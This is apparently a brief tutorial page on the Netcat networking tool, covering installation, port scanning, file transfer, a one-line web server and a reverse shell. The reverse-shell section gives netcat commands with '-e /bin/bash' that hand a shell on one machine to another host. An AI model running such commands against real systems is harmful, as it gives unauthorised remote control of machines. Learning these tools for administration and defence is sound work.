Netcat (nc) is a powerful networking tool available on Linux, Windows, macOS, BSD. It can be used for port scanning, file transfers, simple servers, reverse shells, and debugging.

What Netcat Can Do

  • Port Scanning: Check open ports
  • File Transfer: Send files over a network
  • Simple Web Server: Serve HTTP responses
  • Reverse Shell: Remote access for debugging

Install

  • Debian/Ubuntu: sudo apt install netcat-openbsd
  • Arch Linux: sudo pacman -S openbsd-netcat
  • Others: Nmap Ncat, OpenBSD Netcat

Example Commands

Port Scan

nc -zv 192.168.1.1 1-1000

File Transfer
On receiver:

nc -l -p 1234 > file.txt

On sender:

nc 192.168.1.2 1234 < file.txt

Simple Web Server

echo -e "HTTP/1.1 200 OK\n\nHello" | nc -l -p 8080

Reverse Shell
On listener:

nc -l -p 4444 -e /bin/bash

On target:

nc 192.168.1.3 4444 -e /bin/bash
Edit Report
Pub: 02 Mar 2025 02:55 UTC
Views: 196